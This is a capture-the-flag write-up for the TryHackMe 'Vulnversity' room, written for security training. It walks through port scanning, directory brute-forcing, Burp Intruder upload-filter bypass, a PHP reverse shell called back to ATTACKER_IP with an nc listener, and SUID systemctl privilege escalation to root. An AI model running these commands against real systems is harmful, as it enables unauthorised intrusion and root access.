CASE 0x06 tryhackme
Vulnversity Writeup
Prerequisites
nmap, gobuster, Burp Suite, netcat (nc), pentestmonkey php-reverse-shell, openvpn, plus sed/grep/cp. find and systemctl are used on the target through the caught shell.
Placeholder legend
| Token | Where to get it |
|---|---|
TARGET_IP |
The target machine IP shown on the room page after deploy. Changes per spawn. |
ATTACKER_IP |
Your THM VPN address (ip addr show tun0). Reassigned on every VPN reconnect. |
Flags (user.txt, root.txt) are omitted deliberately; read them yourself with the commands shown.
Terminal / host map
No pivoting; single target. Mind where each command runs:
- Attack box:
nmap,gobuster, Burp,nc -lvnp,cp/sed/grepon the local shell copy, browser uploads. - Target (inside the caught
www-datashell):ls /home,cat .../user.txt,find ... -perm -4000, thesystemctlpayload,cat /tmp/rootflag.txt.
Task 2 Reconnaissance
Full port sweep (run on the attack box):
nmap -p- --min-rate 5000 -Pn TARGET_IPVersion/script scan the ports found open:
nmap -A -p 21,22,139,445,3128,3333 TARGET_IPWeb app is on the non-standard port 3333:
http://TARGET_IP:3333Task 3 Locating directories using Gobuster
gobuster dir -u http://TARGET_IP:3333 -w /usr/share/wordlists/dirb/common.txt -t 40Upload form lives at:
http://TARGET_IP:3333/internal/Task 4 Compromise the Webserver
Find the allowed extension (Burp Intruder)
- Proxy > Intercept on, upload
test.phpthrough the form athttp://TARGET_IP:3333/internal/to capture the request. - Confirm it is
POST /internal/index.php,multipart/form-data, withfilename="test.php". - Right-click > Send to Intruder, intercept off.
- Positions tab: Clear §, highlight only the extension, Add § so it reads
filename="test.§php§". Attack type Sniper. - Payloads > Simple list:
php
php3
php4
php5
phtml- Start attack, compare the Length column. The outlier (
phtml) is the accepted extension; Apache still executes.phtmlas PHP.
Get a reverse shell
Copy the pentestmonkey shell and rename to the allowed extension in one move(or you could copy it from the the link provided on TryHackMe):
cp /usr/share/webshells/php/php-reverse-shell.php ./php-reverse-shell.phtmlPoint it at your VPN IP ($port stays 1234):
sed -i 's/127.0.0.1/ATTACKER_IP/' php-reverse-shell.phtml
grep -E '\$ip|\$port' php-reverse-shell.phtmlStart the listener and leave it running (must be up before you trigger the shell):
nc -lvnp 1234Upload php-reverse-shell.phtml through the form, then trigger it by browsing to it; the tab will hang, that's expected:
http://TARGET_IP:3333/internal/uploads/php-reverse-shell.phtmlUser flag (in the caught shell, on the target)
ls /home
cat /home/bill/user.txtTask 5 Privilege Escalation
Find SUID binaries (on the target); /bin/systemctl is the outlier:
find / -perm -4000 -type f 2>/dev/nullls -l /bin/systemctlWeaponize SUID systemctl: write a oneshot unit and start it as root. Keep the multi-line echo intact:
TF=$(mktemp).service
echo '[Service]
Type=oneshot
ExecStart=/bin/sh -c "cat /root/root.txt > /tmp/rootflag.txt; chmod 666 /tmp/rootflag.txt"
[Install]
WantedBy=multi-user.target' > $TF
/bin/systemctl link $TF
/bin/systemctl enable --now $TF
cat /tmp/rootflag.txt